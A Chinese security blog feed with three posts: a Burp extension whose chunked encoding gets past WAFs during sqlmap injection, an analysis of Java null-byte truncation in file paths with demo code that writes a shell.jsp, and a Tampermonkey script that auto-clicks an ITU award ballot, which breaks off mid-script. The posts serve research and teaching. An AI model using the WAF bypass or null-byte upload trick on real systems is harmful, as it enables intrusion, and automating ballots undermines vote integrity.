<content type="html"><![CDATA[<p>分块传输绕WAF在年初的<a href="https://www.anquanke.com/post/id/169738" target="_blank" rel="noopener">《利用分块传输吊打所有WAF》</a>中学习到了,不过没有深入研究。最近在T00ls上看到大佬们在编写sqlmap的tamp脚本,过程中遇到了比较难解决的一个问题,对sqlmap数据包加入<code>Transfer-Encoding: chunked</code>HTTP头。本周尝试通过编写Burp插件来解决这个问题,同时也为了方便在Burp上快速测试分块传输是否能绕过waf。我们开始吧!</p><a id="more"></a><h2 id="0x01-功能设计"><a href="#0x01-功能设计" class="headerlink" title="0x01 功能设计"></a>0x01 功能设计</h2><p>我们先来看看插件要实现的功能</p><ol><li>在Burp Repeater套件上可对数据包进行快速chunked解码编码</li><li>自动化对Burp的Proxy,scanner,spider等套件的数据包进行编码</li><li>可设置分块长度,是否开启注释</li></ol><h2 id="0x02-编写代码"><a href="#0x02-编写代码" class="headerlink" title="0x02 编写代码"></a>0x02 编写代码</h2><p>限于边幅,我只说明核心函数,并通过注释的方式解释代码的相关功能。</p><h4 id="2-1-编码函数"><a href="#2-1-编码函数" class="headerlink" title="2.1 编码函数"></a>2.1 编码函数</h4><p>这是我们的核心函数,对各个套件数据HTTP数据进行<code>chunked</code>编码</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">byte</span>[] encoding(IExtensionHelpers helpers, IHttpRequestResponse requestResponse, <span class="keyword">int</span> split_len, <span class="keyword">boolean</span> isComment) <span class="keyword">throws</span> UnsupportedEncodingException {</span><br><span class="line"><span class="keyword">byte</span>[] request = requestResponse.getRequest();</span><br><span class="line">IRequestInfo requestInfo = helpers.analyzeRequest(request);</span><br><span class="line"><span class="keyword">int</span> bodyOffset = requestInfo.getBodyOffset();</span><br><span class="line"><span class="keyword">int</span> body_length = request.length - bodyOffset;</span><br><span class="line">String body = <span class="keyword">new</span> String(request, bodyOffset, body_length, <span class="string">"UTF-8"</span>);</span><br><span class="line"><span class="comment">// 对长度大于10000的数据包,不处理</span></span><br><span class="line"><span class="keyword">if</span> (request.length - bodyOffset > <span class="number">10000</span>){</span><br><span class="line"><span class="keyword">return</span> request;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//对数据包进行编码处理</span></span><br><span class="line">List<String> str_list = Util.getStrList(body,Config.splite_len);</span><br><span class="line">String encoding_body = <span class="string">""</span>;</span><br><span class="line"><span class="keyword">for</span>(String str:str_list){</span><br><span class="line"><span class="keyword">if</span>(Config.isComment){</span><br><span class="line">encoding_body += String.format(<span class="string">"%s;%s"</span>,Util.decimalToHex(str.length()),Util.getRandomString(<span class="number">10</span>));</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line">encoding_body += Util.decimalToHex(str.length());</span><br><span class="line">}</span><br><span class="line">encoding_body += <span class="string">"\r\n"</span>;</span><br><span class="line">encoding_body += str;</span><br><span class="line">encoding_body += <span class="string">"\r\n"</span>;</span><br><span class="line">}</span><br><span class="line">encoding_body += <span class="string">"0\r\n\r\n"</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">//在数据包中添加Transfer-Encoding: chunked头</span></span><br><span class="line">List<String> headers = helpers.analyzeRequest(request).getHeaders();</span><br><span class="line">Iterator<String> iter = headers.iterator();</span><br><span class="line"><span class="keyword">while</span> (iter.hasNext()) {</span><br><span class="line"><span class="keyword">if</span> (((String)iter.next()).contains(<span class="string">"Transfer-Encoding"</span>)) {</span><br><span class="line">iter.remove();</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">headers.add(<span class="string">"Transfer-Encoding: chunked"</span>);</span><br><span class="line"><span class="keyword">return</span> helpers.buildHttpMessage(headers,encoding_body.getBytes());</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>自动编码其他模块的数据包,我们可以通过实现Burp的<code>IHttpListener</code>,<code>IProxyListener</code>这两个接口,分别实现<code>processHttpMessage()</code>,<code>processProxyMessage()</code>这两个方法。</p><p>这里注意一个问题,Burp的所有模块的HTTP流量都会经过<code>IHttpListener.processHttpMessage()</code>这个方法,但是如果在这里处理数据包的话,Burp Proxy模块的数据包被修改之后,不会在Proxy套件UI界面显示修改后的流量,故Proxy模块流量处理单独使用<code>IProxyListener.processProxyMessage()</code>。</p><h4 id="2-2-自动编码Proxy套件的流量"><a href="#2-2-自动编码Proxy套件的流量" class="headerlink" title="2.2 自动编码Proxy套件的流量"></a>2.2 自动编码Proxy套件的流量</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">processProxyMessage</span><span class="params">(<span class="keyword">final</span> <span class="keyword">boolean</span> messageIsRequest, <span class="keyword">final</span> IInterceptedProxyMessage proxyMessage)</span> </span>{</span><br><span class="line"><span class="keyword">if</span>(messageIsRequest && isValidTool(IBurpExtenderCallbacks.TOOL_PROXY)){</span><br><span class="line">IHttpRequestResponse messageInfo = proxyMessage.getMessageInfo();</span><br><span class="line">IRequestInfo reqInfo = helpers.analyzeRequest(messageInfo.getRequest());</span><br><span class="line"><span class="comment">//只对Content-Typt头为application/x-www-form-urlencode的POST包进行编码</span></span><br><span class="line"><span class="keyword">if</span>(reqInfo.getMethod().equals(<span class="string">"POST"</span>) && reqInfo.getContentType() == IRequestInfo.CONTENT_TYPE_URL_ENCODED){</span><br><span class="line"><span class="keyword">try</span> {</span><br><span class="line"><span class="comment">//使用encoding方法对原请求包进行chunked编码</span></span><br><span class="line"><span class="keyword">byte</span>[] request = Transfer.encoding(helpers, messageInfo, Config.splite_len,Config.isComment);</span><br><span class="line"><span class="keyword">if</span> (request != <span class="keyword">null</span>) {</span><br><span class="line"><span class="comment">//将原HTTP请求包替换为chunked编码后的请求包</span></span><br><span class="line">messageInfo.setRequest(request);</span><br><span class="line">}</span><br><span class="line">} <span class="keyword">catch</span> (Exception e) {</span><br><span class="line">stderr.println(e.getMessage());</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="2-3-自动编码Proxy之外的套件(Intruder,scanner…)流量"><a href="#2-3-自动编码Proxy之外的套件(Intruder,scanner…)流量" class="headerlink" title="2.3 自动编码Proxy之外的套件(Intruder,scanner…)流量"></a>2.3 自动编码Proxy之外的套件(Intruder,scanner…)流量</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">processHttpMessage</span><span class="params">(<span class="keyword">int</span> toolFlag, <span class="keyword">boolean</span> messageIsRequest, IHttpRequestResponse messageInfo)</span> </span>{</span><br><span class="line"><span class="comment">//Proxy套件流量不处理,否则会出现两次编码问题,其余套件均在这里处理。</span></span><br><span class="line"><span class="keyword">if</span>(messageIsRequest && isValidTool(toolFlag) && (toolFlag != IBurpExtenderCallbacks.TOOL_PROXY)){</span><br><span class="line">IRequestInfo reqInfo = helpers.analyzeRequest(messageInfo.getRequest());</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(reqInfo.getMethod().equals(<span class="string">"POST"</span>) && reqInfo.getContentType() == IRequestInfo.CONTENT_TYPE_URL_ENCODED){</span><br><span class="line"><span class="keyword">try</span> {</span><br><span class="line"><span class="keyword">byte</span>[] request = Transfer.encoding(helpers, messageInfo, Config.splite_len,Config.isComment);</span><br><span class="line"><span class="keyword">if</span> (request != <span class="keyword">null</span>) {</span><br><span class="line">messageInfo.setRequest(request);</span><br><span class="line">}</span><br><span class="line">} <span class="keyword">catch</span> (Exception e) {</span><br><span class="line">stderr.println(e.getMessage());</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>完整的代码,已经上传github,地址如下:</p><p><a href="http://github.com/c0ny1/chunked-coding-converter" target="_blank" rel="noopener">http://github.com/c0ny1/chunked-coding-converter</a></p><h2 id="0x03-效果演示"><a href="#0x03-效果演示" class="headerlink" title="0x03 效果演示"></a>0x03 效果演示</h2><h4 id="3-1-演示一:快速编码解码"><a href="#3-1-演示一:快速编码解码" class="headerlink" title="3.1 演示一:快速编码解码"></a>3.1 演示一:快速编码解码</h4><p>在Burp repeater套件可以快速对请求内容进行chunked编码解码,来对WAF进行测试。</p><p><img src="/articles/2019/chunked-coding-converter/repeater-chunked-coding.gif" alt="快速编码解码对WAF进行测试"></p><h4 id="3-2-演示二:搭配sqlmap进行sql注入"><a href="#3-2-演示二:搭配sqlmap进行sql注入" class="headerlink" title="3.2 演示二:搭配sqlmap进行sql注入"></a>3.2 演示二:搭配sqlmap进行sql注入</h4><p>sqlmap代理到Burp中,插件对Proxy套件的流量进行编码处理,来绕过waf。</p><p><img src="/articles/2019/chunked-coding-converter/sqlmap-bypassWAF.gif" alt="搭配sqlmap绕waf"></p><h2 id="0x04-参考文章"><a href="#0x04-参考文章" class="headerlink" title="0x04 参考文章"></a>0x04 参考文章</h2><ul><li><a href="https://www.anquanke.com/post/id/169738" target="_blank" rel="noopener">利用分块传输吊打所有WAF</a></li><li><a href="https://www.freebuf.com/news/193659.html" target="_blank" rel="noopener">在HTTP协议层面绕过WAF</a></li></ul>]]></content>
<categories>
<category> 安全开发 </category>
</categories>
<tags>
<tag> burp </tag>
</tags>
</entry>
<entry>
<title>从代码层面理解java的00截断漏洞深入篇</title>
<link href="/articles/2019/java-00-truncation-detail/"/>
<url>/articles/2019/java-00-truncation-detail/</url>
<content type="html"><![CDATA[<p>4个月前写了一篇文章叫<a href="http://gv7.me/articles/2018/java-00-truncation/">《从代码层面理解java的00截断漏洞》</a>,由于当时出差新疆没时间深入,便在文末立了个有空继续深入的flag。今天我们通过跟踪jdk代码, <strong>彻底搞清楚java中00截断的原理,以及它之后版本是如何修复的?</strong></p><h2 id="一、漏洞测试代码改进"><a href="#一、漏洞测试代码改进" class="headerlink" title="一、漏洞测试代码改进"></a>一、漏洞测试代码改进</h2><p>看了一些java web系统文件上传代码,基本都是使用<code>FileOutputStream</code>来实现对上传内容的保存。于是将上篇文章的测试代码修改如下,简单模拟java的文件上传。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">T2</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>{</span><br><span class="line"> String filepath = <span class="string">"c://shell.jsp"</span> + (<span class="keyword">char</span>)<span class="number">0</span> + <span class="string">".txt"</span>;</span><br><span class="line"> String content = <span class="string">"Test by c0ny1"</span>;</span><br><span class="line"> System.out.println(filepath);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> FileOutputStream fos = <span class="keyword">new</span> FileOutputStream(filepath);</span><br><span class="line"> fos.write(content.getBytes());</span><br><span class="line"> fos.close();</span><br><span class="line"> } <span class="keyword">catch</span> (FileNotFoundException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }<span class="keyword">catch</span> (IOException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>通过在漏洞版本和非漏洞版本运行以上代码,可知如果00截断成功,则会在系统的c盘根目录新建一个内容为<code>Test by c0ny1</code>的<code>shell.jsp</code>,如果没有截断成功,则抛出<code>Invalid file path</code>异常。</p><h2 id="二、漏洞是如何产生的"><a href="#二、漏洞是如何产生的" class="headerlink" title="二、漏洞是如何产生的?"></a>二、漏洞是如何产生的?</h2><p>我选择使用<code>JDK1.7.0</code>(JDK1.7第一个版本),来跟踪漏洞测试代码从运行到触发。</p><p><img src="/articles/2019/java-00-truncation-detail/vul-01.png" alt="第一个构造函数"></p><p>将传进来的name参数作为路径,新建了File对象,再次传入到<code>FileOutputStream</code>对象新的构造函数。根据传入的两个参数的类型,我们可以确定会进入到以下这个构造函数。</p><p><img src="/articles/2019/java-00-truncation-detail/vul-02.png" alt="第二个构造函数"></p><p>FileOutputStream对象的构造方法又调用了open函数,打开了name参数传进来的文件路径,我们继续跟进open函数。</p><p><img src="/articles/2019/java-00-truncation-detail/vul-03.png" alt="open方法的声明"></p><p>发现open函数是一个native method。它的实现体是由非java语言(c语言)实现的。只能去OpenJDK官网下载jdk源码来查看它的实现。无奈没有找到jdk7u1的源码,只找到了<a href="https://download.java.net/openjdk/jdk7u75/ri/openjdk-7u75-src-b13-18_dec_2014.zip" target="_blank" rel="noopener">jdk7u75</a>的源码。其实在小版本上源码应该区别不大。</p><p>在<code>\openjdk\jdk\src\windows\native\java\io\FileOutputStream_md.c</code>中找到了<code>FileOutputStream</code>类的<code>open</code>方法的JNI实现。open方法又调用了<code>fileOpen</code>方法,继续跟进fileOpen方法。</p><p><img src="/articles/2019/java-00-truncation-detail/vul-04.png" alt="open方法的定义"></p><p>在<code>io_util_md.c</code>中找到了<code>fileOpen</code>方法的定义。</p><p><img src="/articles/2019/java-00-truncation-detail/vul-05.png" alt="fileOpen方法的定义"></p><p>fileOpen方法调用了<code>winFileHandleOpen</code>函数,继续跟进。由于winFileHandleOpen函数代码比较多,这里精简出了关键代码。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">jlong <span class="title">winFileHandleOpen</span><span class="params">(JNIEnv *env, jstring path, <span class="keyword">int</span> flags)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line">......</span><br><span class="line"> <span class="keyword">if</span> (onNT) { <span class="comment">//如果在Windows NT/Windows 2000操作系统下</span></span><br><span class="line"> WCHAR *pathbuf = pathToNTPath(env, path, JNI_TRUE);</span><br><span class="line"> <span class="keyword">if</span> (pathbuf == <span class="literal">NULL</span>) {</span><br><span class="line"> <span class="comment">/* Exception already pending */</span></span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> }</span><br><span class="line"> h = CreateFileW(</span><br><span class="line"> pathbuf, <span class="comment">/* Wide char path name */</span></span><br><span class="line"> access, <span class="comment">/* Read and/or write permission */</span></span><br><span class="line"> sharing, <span class="comment">/* File sharing flags */</span></span><br><span class="line"> <span class="literal">NULL</span>, <span class="comment">/* Security attributes */</span></span><br><span class="line"> disposition, <span class="comment">/* creation disposition */</span></span><br><span class="line"> flagsAndAttributes, <span class="comment">/* flags and attributes */</span></span><br><span class="line"> <span class="literal">NULL</span>);</span><br><span class="line"> <span class="built_in">free</span>(pathbuf);<span class="comment">//创建文件</span></span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> WITH_PLATFORM_STRING(env, path, _ps) {</span><br><span class="line"> h = CreateFile(_ps, access, sharing, <span class="literal">NULL</span>, disposition,flagsAndAttributes, <span class="literal">NULL</span>);<span class="comment">//创建文件</span></span><br><span class="line"> }</span><br><span class="line"> END_PLATFORM_STRING(env, _ps);</span><br><span class="line"> }</span><br><span class="line">......</span><br><span class="line"> <span class="keyword">return</span> (jlong)h;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>通过阅读以上代码,可知如果在Windows NT/Windows 2000平台下会调用<code>pathToNTPath</code>函数将原始文件路径转化为Windows NT系统合法路径。然而通过阅读该方法源码,发现它并没有对\00字符串进行过滤。如果在其他Window操作系统版本下,则直接使用原始文件路径。</p><p>按照<code>winFileHandleOpen</code>方法的逻辑,无论如何最终都是调用了<code>CreateFileW</code>这个Windows API函数来创建文件。由于这个过程中均未对<code>\00</code>字符串进行过滤,如果传入的文件路径带有\00字符,则<code>CreateFileW</code>函数在创建文件时,路径会被截断。这没什么好说的。</p><p>这里我们没法继续跟进CreateFileW函数,毕竟Windows不开源。为了文章的严谨性,这里我用C语言写一个demo,来证明该函数可以截断。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//test.c</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"windows.h"</span></span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line">HANDLE fileHandle = CreateFileW(<span class="string">L"C:\\shell.jsp\0test.txt"</span>, GENERIC_WRITE, FILE_SHARE_WRITE, <span class="number">0</span>, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, <span class="number">0</span>);</span><br><span class="line"><span class="keyword">char</span> *data = <span class="string">"Test by c0ny1"</span>;</span><br><span class="line">DWORD a = <span class="built_in">strlen</span>(data);</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">long</span> b;</span><br><span class="line">WriteFile(fileHandle, data, a, &b, <span class="literal">NULL</span>);</span><br><span class="line">CloseHandle(fileHandle);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>代码运行演示如下:</p><p><img src="/articles/2019/java-00-truncation-detail/show.gif" alt="CreateFileW函数00截断演示"></p><h2 id="三、漏洞是如何修复的?"><a href="#三、漏洞是如何修复的?" class="headerlink" title="三、漏洞是如何修复的?"></a>三、漏洞是如何修复的?</h2><p>这里选择使用<code>jdk1.7.0_80</code>(JDK1.7最新版本),来观察漏洞如果被修复的。</p><p>我们继续按照原来漏洞触发的调用链重新跟踪一遍,跟踪到第二构造函数时,发现多了一个针对文件路径的检查,若检查结果为非法,则抛出异常<code>Invalid file path</code>.</p><p><img src="/articles/2019/java-00-truncation-detail/fix-01.png" alt="构造函数中检查文件路径"></p><p>继续跟进,来到<code>java.io.File</code>类的<code>isInvalid</code>方法,发现该检查函数判断了路径中是否包含00字符串。(注意:java默认编码为Unicode,00字符串的Unicode编码为\u0000)。</p><p><img src="/articles/2019/java-00-truncation-detail/fix-02.png" alt="文件路径检查函数"></p><h2 id="四、漏洞影响的版本范围"><a href="#四、漏洞影响的版本范围" class="headerlink" title="四、漏洞影响的版本范围"></a>四、漏洞影响的版本范围</h2><p>我们知道jdk1.7版本是部分版本存在漏洞的。但这里我们需要确定是哪个版本修复了这个漏洞。翻阅了JDK1.7多个版本代码,发现在JDK1.7.0_40(7u40)开始加上了对文件名是否存在\00字符的检查。也就是说 <strong>JDK1.7.0_40之前java是存在00截断的,而之后的版本就不存在了!</strong></p><p>后面在官网的JDK 7u40的更新日志中也找到了关于00截断问题Bug ID,分别为<code>JDK-8003992</code>和<code>JDK-8011539</code>,具体链接放在了文末的参考文章里了。其实这两个是同一个Bug,官网也说明了它们重复了。</p><p><img src="/articles/2019/java-00-truncation-detail/update_note.png" alt="oracle官方更新日志"></p><h2 id="五、参考文章"><a href="#五、参考文章" class="headerlink" title="五、参考文章"></a>五、参考文章</h2><ul><li><a href="https://blog.csdn.net/I_S_T_O/article/details/1843871" target="_blank" rel="noopener">JAVA /00文件路径截断漏洞与分析for windows并对.NET比较</a></li><li><a href="https://bugs.java.com/bugdatabase/view_bug.do?bug_id=8003992" target="_blank" rel="noopener">JDK-8003992 : File and other classes in java.io do not handle embedded nulls properly</a></li><li><a href="https://bugs.java.com/bugdatabase/view_bug.do?bug_id=8011539" target="_blank" rel="noopener">JDK-8011539 : File APIs Should Not Allow Null Bytes</a></li></ul>]]></content>
<categories>
<category> 漏洞原理 </category>
</categories>
<tags>
<tag> 00截断 </tag>
</tags>
</entry>
<entry>
<title>小玩具01:编写WSIS自动投票油猴脚本</title>
<link href="/articles/2019/tampermonkey-script-autoclicker/"/>
<url>/articles/2019/tampermonkey-script-autoclicker/</url>
<content type="html"><![CDATA[<p>这是1月9号的事了,kang哥在群里发了一个消息,说是需要大家帮忙WSIS奖投票。让每位同事都投一遍。我看了下投票步骤说明文档,其实挺麻烦的。最主要的是足足有18项,需要一个个的点击才能完成。旁边的JackyTsuuuy大佬慢悠悠的蠕动着他性感的小胡须,说道可以尝试使用js自动点击完成这18项选择,还提供了最朴素的几行代码。在他几次怂恿下决定实现这一想法。</p><a id="more"></a><h2 id="一、需求"><a href="#一、需求" class="headerlink" title="一、需求"></a>一、需求</h2><p>当时发的投票步骤说明文档具体需求如下:</p><p>投票页面有18个Category,每完成一个Category的投票就会自动进行下一个Category页面,需要完成所有18个Category的投票。注意:重点在<code>Category5-AL C5</code>选择 <strong>Artificial Intelligence (AI) based spam messages and calls prevention solution</strong> ,其他Category可以任意选。</p><h2 id="二、思路"><a href="#二、思路" class="headerlink" title="二、思路"></a>二、思路</h2><p>判断页面是否有内容为“Artificial Intelligence (AI) based spam messages and calls prevention solution”选项的按钮,如果有就点击,没有就随机选择一个选项。然后进入下一页,等待页面加载完成继续重复上面的操作。其实思路很简单,代码实现也不难,但是细节问题却耐人寻味,想给大家分享下。</p><h2 id="三、实现"><a href="#三、实现" class="headerlink" title="三、实现"></a>三、实现</h2><p>通过前端分析,发现内容为“Artificial Intelligence (AI) based spam messages and calls prevention solution”选项对应着是一个标签名为<code>button</code>,属性<code>value</code>的值为<code>15434938390848023</code>的按钮。</p><p><img src="/articles/2019/tampermonkey-script-autoclicker/positioning-elements.png" alt="分析要点击的页面元素"></p><p>注意:定位选择的属性名和属性值在当前页面是唯一的,这样才能保证点击正确。</p><p>实现定位目标选项的代码如下:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*定位要点击的页面元素*/</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getTargetByTAV</span>(<span class="params">t_tag,t_attr,t_value</span>)</span>{</span><br><span class="line"><span class="keyword">var</span> target = <span class="built_in">document</span>.getElementsByTagName(t_tag);</span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> i=<span class="number">0</span>;i <target.length;i++){</span><br><span class="line"><span class="keyword">if</span>(target[i].getAttribute(t_attr) == t_value){</span><br><span class="line"><span class="keyword">return</span> target[i];</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"><span class="keyword">var</span> target = getTargetByTAV(<span class="string">"button"</span>,<span class="string">"value"</span>,<span class="string">"15434938390848023"</span>);</span><br></pre></td></tr></table></figure><p>当页面没有内容为<code>Artificial...solution</code>对应的选项时,就随机选择一项点击。分析页面发现每个选项对应的按钮元素都有<code>name="voteProjectId"</code>,我们以此来定位它们。实现代码如下:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// code refence: https://www.cnblogs.com/phpyangbo/p/6129868.html</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">RandomNum</span>(<span class="params">Min, Max</span>) </span>{</span><br><span class="line"> <span class="keyword">var</span> Range = Max - Min;</span><br><span class="line"> <span class="keyword">var</span> Rand = <span class="built_in">Math</span>.random();</span><br><span class="line"> <span class="keyword">var</span> num = Min + <span class="built_in">Math</span>.floor(Rand * Range); <span class="comment">//舍去</span></span><br><span class="line"> <span class="keyword">return</span> num;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getTargetByRandom</span>(<span class="params"></span>)</span>{</span><br><span class="line"><span class="keyword">var</span> target = <span class="built_in">document</span>.getElementsByName(<span class="string">"voteProjectId"</span>);</span><br><span class="line"><span class="keyword">var</span> n = RandomNum(<span class="number">0</span>,target.length);</span><br><span class="line"><span class="keyword">return</span> target[n];</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>最后呢,为了保证点击成功,我们设置每间隔<code>100ms</code>就重复点击一次。实现代码如下:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">setInterval(<span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">if</span> (button) {</span><br><span class="line"> button.click();</span><br><span class="line"> }</span><br><span class="line">},<span class="number">100</span>);</span><br></pre></td></tr></table></figure><p>将以上代码放到浏览器开发者工具的console中执行是可以的,但是会存在一个问题。那就是页面刷新后,我们编写的代码将不会作用于新的页面。为了解决这个问题,当然可以编写一个浏览器插件来解决,但是油猴已经做好了这个工作。我们只需要站在巨人的肩膀上,完成我们的想法即可。</p><p>按照油猴的脚本编写规则,最终源码为:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// ==UserScript==</span></span><br><span class="line"><span class="comment">// @name wsis-auto-vote</span></span><br><span class="line"><span class="comment">// @namespace http://gv7.me</span></span><br><span class="line"><span class="comment">// @version 0.1</span></span><br><span class="line"><span class="comment">// @description wsis 自动投票,自动投"Artificial Intelligence (AI) based spam messages and calls prevention solution"选项。</span></span><br><span class="line"><span class="comment">// @author c0ny1</span></span><br><span class="line"><span class="comment">// @match https://www.itu.int/*</span></span><br><span class="line"><span class="comment">// @grant none</span></span><br><span class="line"><span class="comment">// 